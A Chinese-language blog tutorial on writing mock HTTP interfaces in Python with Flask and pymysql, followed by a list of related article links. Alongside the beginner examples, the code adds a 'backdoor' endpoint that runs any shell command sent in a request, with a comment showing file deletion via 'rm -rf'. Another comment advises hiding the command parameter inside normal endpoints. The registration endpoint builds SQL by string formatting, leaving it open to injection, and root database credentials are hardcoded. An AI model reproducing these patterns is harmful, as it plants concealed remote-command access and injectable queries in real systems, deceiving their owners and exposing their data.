python学习开发mock接口


Posted in Python onApril 28, 2019

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db链接
  cur=coon.cursor()#建立游标
  cur.execute(sql);#执行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#获取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#关闭游标
  coon.close()#关闭db链接
  return res
 
 
#get请求, 请求路径ip:port/index
@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
  res={'msg':'这是我开发的第一个接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post请求, 请求路径ip:port/reg
@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
  username=flask.request.values.get('username')#获取接口入参
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用户已存在','msg_code':2001}#2001用户已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注册成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入参
  res = os.popen(cmd)#执行用户命令
  return res.read()#返回执行结果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
  #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
  # 默认可以不传,一但传了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问
# port=6688指定端口为6688
# debug=True设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python3实现短网址和数字相互转换的方法
Apr 28 Python
Python+Pika+RabbitMQ环境部署及实现工作队列的实例教程
Jun 29 Python
深入理解python中sort()与sorted()的区别
Aug 29 Python
Python获取网段内ping通IP的方法
Jan 31 Python
Python3 itchat实现微信定时发送群消息的实例代码
Jul 12 Python
python读取.mat文件的数据及实例代码
Jul 12 Python
Python Django 前后端分离 API的方法
Aug 28 Python
Python坐标线性插值应用实现
Nov 13 Python
学Python 3的理由和必要性
Nov 19 Python
关于Pytorch的MNIST数据集的预处理详解
Jan 10 Python
python datetime处理时间小结
Apr 16 Python
python 中yaml文件用法大全
Jul 04 Python
Python简单基础小程序的实例代码
Apr 28 #Python
python实现Excel文件转换为TXT文件
Apr 28 #Python
Python3.5模块的定义、导入、优化操作图文详解
Apr 27 #Python
Python3.5内置模块之time与datetime模块用法实例分析
Apr 27 #Python
Python3.5内置模块之os模块、sys模块、shutil模块用法实例分析
Apr 27 #Python
Python3.5内置模块之shelve模块、xml模块、configparser模块、hashlib、hmac模块用法分析
Apr 27 #Python
python爬取基于m3u8协议的ts文件并合并
Apr 26 #Python
You might like
php+mysql事务rollback&commit示例
2010/02/08 PHP
深入php var_dump()函数的详解
2013/06/05 PHP
phpnow php探针环境检测代码
2014/11/04 PHP
yii框架结合charjs实现统计30天数据的方法
2020/04/04 PHP
Javascript解决常见浏览器兼容问题的12种方法
2010/01/04 Javascript
js模仿html5 placeholder适应于不支持的浏览器
2013/01/13 Javascript
jquery选择器需要注意的问题
2014/11/26 Javascript
对比分析json及XML
2014/11/28 Javascript
如何使用jquery easyui创建标签组件
2015/11/18 Javascript
Jquery插件之Fancybox丰富的弹出层效果附源码下载
2015/12/02 Javascript
前端学习笔记style,currentStyle,getComputedStyle的用法与区别
2016/05/28 Javascript
老生常谈JavaScript 正则表达式语法
2016/08/20 Javascript
100行代码理解和分析vue2.0响应式架构
2017/03/09 Javascript
微信小程序 聊天室简单实现
2017/04/19 Javascript
微信小程序中做用户登录与登录态维护的实现详解
2017/05/17 Javascript
详解vue-cli 脚手架 安装
2019/04/16 Javascript
Vue Router history模式的配置方法及其原理
2019/05/30 Javascript
Vue 构造选项 - 进阶使用说明
2020/08/14 Javascript
Python验证码识别的方法
2015/07/10 Python
对tf.reduce_sum tensorflow维度上的操作详解
2018/07/26 Python
python组合无重复三位数的实例
2018/11/13 Python
解决python3.5 正常安装 却不能直接使用Tkinter包的问题
2019/02/22 Python
python变量命名的7条建议
2019/07/04 Python
Python帮你识破双11的套路
2019/11/11 Python
对django 2.x版本中models.ForeignKey()外键说明介绍
2020/03/30 Python
Django模型中字段属性choice使用说明
2020/03/30 Python
html5中valid、invalid、required的定义
2014/02/21 HTML / CSS
Ralph Lauren法国官网:美国高品味时装品牌
2017/12/08 全球购物
英国电子产品购物网站:TobyDeals
2018/07/30 全球购物
EQVVS官网:设计师男装和女装
2018/10/24 全球购物
知名企业招聘广告词大全
2014/03/18 职场文书
消防安全宣传口号
2014/06/10 职场文书
党的群众路线查摆剖析材料
2014/10/10 职场文书
领导干部作风建设工作总结
2014/10/23 职场文书
工人先锋号事迹材料
2014/12/24 职场文书
CSS list-style-type属性使用方法
2023/05/21 HTML / CSS